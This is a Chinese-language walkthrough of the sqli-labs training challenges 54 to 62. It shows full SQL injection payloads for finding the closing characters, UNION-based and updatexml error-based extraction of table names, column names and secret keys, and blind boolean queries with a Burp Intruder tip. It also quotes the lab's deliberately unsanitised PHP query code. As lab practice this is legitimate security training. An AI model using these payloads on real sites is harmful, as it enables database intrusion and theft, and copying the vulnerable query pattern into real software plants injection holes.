文章目录
sqli labs靶场 page 4是挑战性的,每个题都提交一定的请求次数后,就会重置数据库,所以没法用盲注。
获取到数据库里的secret key并提交,则通关。
在刷page4 challenge的时候,重点练习了一下闭合符号的判断,之前几个page的判断不太严谨。
一. Union
54. GET-10 queries
提示输入ID参数。判断下闭合以及有无注入:
?id=1 and 1=1 -- 正常回显
?id=1 and 1=2 -- 正常回显
?id=1' and '1'='1 -- 正常回显
?id=1' and '1'='2 -- 不正常回显,闭合成功并执行
?id=1" and "1"="1 -- 正常回显
?id=1" and "1"="2 -- 正常回显
?id=1) and (1=1 -- 正常回显
?id=1) and (1=2 -- 正常回显
-- 不要忘了判断下有没有括号
?id=1') and ('1'='1 -- 不正常回显
?id=1') and ('1'='2 -- 不正常回显
应该是单引号闭合,接下来用union判断字段数,同时占位。注意id填写-1,使第一个select查询失败,从而显示我们的union select:
?id=-1' union select 1,2,3 -- x
-- Your Login name:2
-- Your Password:3
开始获取数据:
-- 库名
?id=-1' union select 1,2,database() -- x
-- Your Password:challenges
下面注意,因为提交次数有限,就不要逐个查询表名了,直接用group_concat拼接所有表名回显,当然如果有超长表名,就可能被截断。
-- 所有表名
?id=-1' union select 1,2,group_concat(concat(0x7e, table_name, 0x7e)) from information_schema.tables where table_schema=database() -- x
-- Your Password:~4riqztvj44~
-- 所有列名
-- 4riqztvj44经过ascii编码处理
?id=-1' union select 1,2,group_concat(concat(0x7e, column_name, 0x7e)) from information_schema.columns where table_name=0x347269717A74766A3434 -- x
-- Your Password:~id~,~sessid~,~secret_VIIH~,~tryy~
-- 获取secret key
?id=-1' union select 1,2,group_concat(concat(0x7e, secret_VIIH, 0x7e)) from 4riqztvj44 -- x
-- Your Password:~QC4UaKD4wp0JAw6U9mFScZNF~
看下源码:
<?php
//including the Mysql connect parameters.
include '../sql-connections/sql-connect-1.php';
include '../sql-connections/functions.php'; // next_tryy()等数据库函数在这里
error_reporting(0);
$pag = $_SERVER['PHP_SELF']; //generating page address to piggy back after redirects... /sqli-labs/Less-54/index.php
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; //characterset for generating random data
$times= 10; // 超过这些次数则重置数据库
$table = table_name();
$col = column_name(1); // session id column name
$col1 = column_name(2); //secret key column name
// Submitting the final answer
if(!isset($_POST['answer_key'])) // 没提交key
{
// resetting the challenge and repopulating the table .
if(isset($_POST['reset'])) // 提到次数达到上限,重置数据库
{
setcookie('challenge', ' ', time() - 3600000); // cookie失效
echo "<font size=4>You have reset the Challenge</font><br>\n";
echo "Redirecting you to main challenge page..........\n";
header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
//echo "cookie expired";
}
else
{
// 提到次数没达到上限
// Checking the cookie on the page and populate the table with random value.
if(isset($_COOKIE['challenge']))
{
$sessid=$_COOKIE['challenge'];
//echo "Cookie value: ".$sessid;
}
else
{
// cookie过期 重置
$expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie("challenge", $hash, $expire);
}
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//update the counter in database
// 尝试次数+1
next_tryy();
//Display attempts on screen.
$tryyy = view_attempts();
echo "You have made : ". $tryyy ." of $times attempts";
echo "<br><br><br>\n";
//Reset the Database if you exceed allowed attempts.
if($tryyy >= ($times+1))
{
setcookie('challenge', ' ', time() - 3600000); // cookie失效
echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";
echo "Redirecting you to challenge page..........\n";
header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" ); // 重置后再返回id页面
echo "<br>\n";
}
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#00FFFF">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
// print_r(mysql_error());
echo "</font>";
}
}
else
{
// 提示输入id参数
}
}
?>
//...
<?php
}
else
{
// 提交key
$key = addslashes($_POST['key']);
$key = mysql_real_escape_string($key);
//echo $key;
//Query table to verify your result
$sql="SELECT 1 FROM $table WHERE $col1= '$key'";
//echo "$sql";
$result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error());
$row = mysql_fetch_array($result);
if($row)
{
// congratulations
header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
}
else
{
// error
}
}
?>
而重置数据库,则是在/sql-connections/setup-db-challenge.php里实现:
// ...
//Creating new database for challenges
$sql="CREATE database $dbname1 CHARACTER SET `gbk` ";
if (mysql_query($sql))
{echo "[*]...................Creating New database successfully";echo "<br><br>\n";}
else
{echo "[*]...................Error creating database: " . mysql_error();echo "<br><br>\n";}
include '../sql-connections/functions.php'; // 这里生成随机表名$table
// Creating table
$sql="CREATE TABLE IF NOT EXISTS $dbname1.$table
(
id INT(2) UNSIGNED NOT NULL DEFAULT 1,
sessid CHAR(32) PRIMARY KEY NOT NULL,
$secret_key CHAR(32) NOT NULL,
tryy INT(11) UNSIGNED NOT NULL DEFAULT 0
)";
// ...
55. GET-14 queries
判断注入及闭合:
?id=1 and 1=1 -- 正常回显
?id=1 and 1=2 -- 不正常回显
?id=1' and '1'='1 -- 不正常回显
?id=1' and '1'='2 -- 不正常回显
?id=1" and "1"="1 -- 不正常回显
?id=1" and "1"="2 -- 不正常回显
?id=1) and (1=1 -- 正常回显
?id=1) and (1=2 -- 不正常回显,闭合成功
闭合应该是个括号。
其余步骤和54一样:
?id=-1) union select 1,2,group_concat(concat(0x7e, table_name, 0x7e)) from information_schema.tables where table_schema=database() -- x
-- Your Password:~t33dm31iqe~
?id=-1) union select 1,2,group_concat(concat(0x7e, column_name, 0x7e)) from information_schema.columns where table_name='t33dm31iqe' -- x
-- Your Password:~id~,~sessid~,~secret_4JTA~,~tryy~
?id=-1) union select 1,2,group_concat(concat(0x7e, secret_4JTA, 0x7e)) from t33dm31iqe -- x
-- Your Password:~yteA3HquGp8wWsfZsnQDodJS~
56.
判断闭合:
?id=1 and 1=1 -- 正常回显
?id=1 and 1=2 -- 正常回显
?id=1' and '1'='1 -- 正常回显
?id=1' and '1'='2 -- 不正常回显,说明闭合成功并执行
?id=1" and "1"="1 -- 正常回显
?id=1" and "1"="2 -- 正常回显
?id=1) and (1=1 -- 正常回显
?id=1) and (1=2 -- 正常回显
-- 不要忘了判断有没有括号 以及几个括号
?id=1') and ('1'='1 -- 正常回显
?id=1') and ('1'='2 -- 不正常回显,说明闭合成功并执行
闭合应该是单引号加括号。
其余步骤和54一样。
57.
判断闭合:
?id=1 and 1=1 -- 正常回显
?id=1 and 1=2 -- 正常回显
?id=1' and '1'='1 -- 正常回显
?id=1' and '1'='2 -- 正常回显
?id=1" and "1"="1 -- 正常回显
?id=1" and "1"="2 -- 不正常回显,说明闭合成功并执行
-- 不要忘了判断有没有括号 以及几个括号
?id=1") and ("1"="1 -- 不正常回显
?id=1") and ("1"="2 -- 不正常回显
闭合只有一个双引号。
二. Double Query
58. GET-5 queries
判断闭合:
?id=1 and 1=1 -- 正常回显
?id=1 and 1=2 -- 正常回显
?id=1' and '1'='1 -- 正常回显
?id=1' and '1'='2 -- 不正常回显,说明闭合成功并执行
?id=1" and "1"="1 -- 正常回显
?id=1" and "1"="2 -- 正常回显
-- 不要忘了判断有没有括号 以及几个括号
?id=1") and ("1"="1 -- 正常回显
?id=1") and ("1"="2 -- 正常回显
闭合是单引号。
用union select判断字段数,同时占位:
?id=-1' union select 1,2,3 -- x
-- Your Login name : Angelina
-- Your Password : dhakkan
能正常回显,但是占位失败了,没有显示1,2,3.
提交?id=1'
,页面有报错,所以可以使用updatexml。
?id=1' and updatexml(1,concat(0x7e,database(), 0x7e), 1) -- x
-- XPATH syntax error: '~challenges~'
成功,继续构造payload:
-- 所有表名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'), 0x7e), 1) -- x
-- XPATH syntax error: '~me4y56z4ta~'
-- 所有列名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='me4y56z4ta'), 0x7e), 1) -- x
-- XPATH syntax error: '~id,sessid,secret_QAWY,tryy~'
-- 获取key
?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_QAWY) from me4y56z4ta), 0x7e), 1) -- x
-- XPATH syntax error: '~WEgQxOdcDS2Ue5z8P7tsV3qA~'
看下源码:
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
// 不能用union select的原因在这里
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo 'Your Password : ' .$pass[$row['id']];
}
else
{
print_r(mysql_error());
}
59.
判断闭合:
?id=1 and 1=1 -- 正常回显
?id=1 and 1=2 -- 不正常回显,说明闭合成功并执行
?id=1' and '1'='1 -- SQL syntax error: '' and '1'='1 LIMIT 0,1' at line 1
?id=1' and '1'='2 -- SQL syntax error: '' and '1'='1 LIMIT 0,1' at line 1
?id=1" and "1"="1 -- SQL syntax error: '" and "1"="1 LIMIT 0,1'
?id=1" and "1"="2 -- SQL syntax error: '" and "1"="2 LIMIT 0,1'
-- 不要忘了判断有没有括号 以及几个括号
?id=1) and (1=1 -- SQL syntax error: ') and (1=1 LIMIT 0,1'
?id=1) and (1=2 -- SQL syntax error: ') and (1=1 LIMIT 0,2'
没有闭合符号,把58题的单引号去掉就行了。
60.
判断闭合:
?id=1 and 1=1 -- 正常回显
?id=1 and 1=2 -- 正常回显
?id=1' and '1'='1 -- 正常回显
?id=1' and '1'='2 -- 正常回显
?id=1" and "1"="1 -- 正常回显
?id=1" and "1"="2 -- 不正常回显
-- 不要忘了判断有没有括号 以及几个括号
?id=1") and ("1"="1 -- 正常回显
?id=1") and ("1"="2 -- 不正常回显
闭合应该是双引号加括号,同样改下58题的payload就行了。
61.!!!
判断闭合:
?id=1 and 1=1 -- 正常回显
?id=1 and 1=2 -- 正常回显
?id=1' and '1'='1 -- 正常回显
?id=1' and '1'='2 -- 不正常回显
?id=1" and "1"="1 -- 正常回显
?id=1" and "1"="2 -- 正常回显
-- 不要忘了判断有没有括号
?id=1') and ('1'='1 -- 正常回显
?id=1') and ('1'='2 -- 不正常回显
闭合为单引号加括号
构建payload:
?id=1') and updatexml(1,concat(0x7e,database(), 0x7e), 1) -- x
-- syntax error
报了语法错误,懵了,,,
看了下源码,原来是闭合是单引号加两个括号:
?id=1')) and (('1'='1 -- 正常回显
?id=1')) and (('1'='2 -- 不正常回显
再加个)
就行了:
?id=1')) and updatexml(1,concat(0x7e,database(), 0x7e), 1) -- x
-- XPATH syntax error: '~challenges~'
后面的payload不仅要改闭合,还要把库名、表名等字符串改成ascii编码形式,或者双引号(因为闭合已经有单引号了):
三. Blind
62. GET-130 queries
判断闭合:
?id=1 and 1=1 -- 正常回显
?id=1 and 1=2 -- 正常回显
?id=1' and '1'='1 -- 正常回显
?id=1' and '1'='2 -- 不正常回显
-- 不要忘了判断有没有括号,以及几个括号
?id=1') and ('1'='1 -- 正常回显
?id=1') and ('1'='2 -- 不正常回显
?id=1')) and (('1'='1 -- 不正常回显
?id=1')) and (('1'='2 -- 不正常回显
闭合应该是单引号加1个括号。
union select判断字段数并占位:
?id=-1') union select 1,2,3 -- x
-- Your Login name : Angelina
-- Your Password : dhakkan
占位失败,估计还是和58题源码一样,用数据库里的id作为局部name数组的下标然后回显。
再试试updatexml:
?id=1') and updatexml(1,concat(0x7e,database(), 0x7e), 1) -- x
没有回显,所以应该是把print_r(mysql_error())
注释调了。
开始盲注:
?id=1') and length(database())=9 -- x
?id=1') and length(database())=10 -- x 正常回显
有效。
130次请求上限,并不是真的要手工一次次地尝试,用bp抓包爆破的话,只要不勾选follow redirection选项,不访问setup-db-challenge.php,即使次数达到130也不会重置数据库了。
爆破库名,表名这一部分,因为有次数限制,所以要用二分法(一般实战中都要用二分法,效率高):
?id=1') and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) = 9 -- table name length
?id=1') and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) = 10 -- table name length
表名长度也是10。
-- bp抓包
?id=1') and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 0x62 -- lowercase?
用bp intruder模块:
- substr(xxx, 1,1),第2个参数为position 1,字典1-10;
- 0x62为position 2,字典为ascii表的所有可见字符。
看了下数据库的表名,手写了下字典,是可行的,但爆破key太耗时了没折腾,,,,
至于63-65,仍然只是换了下闭合符号。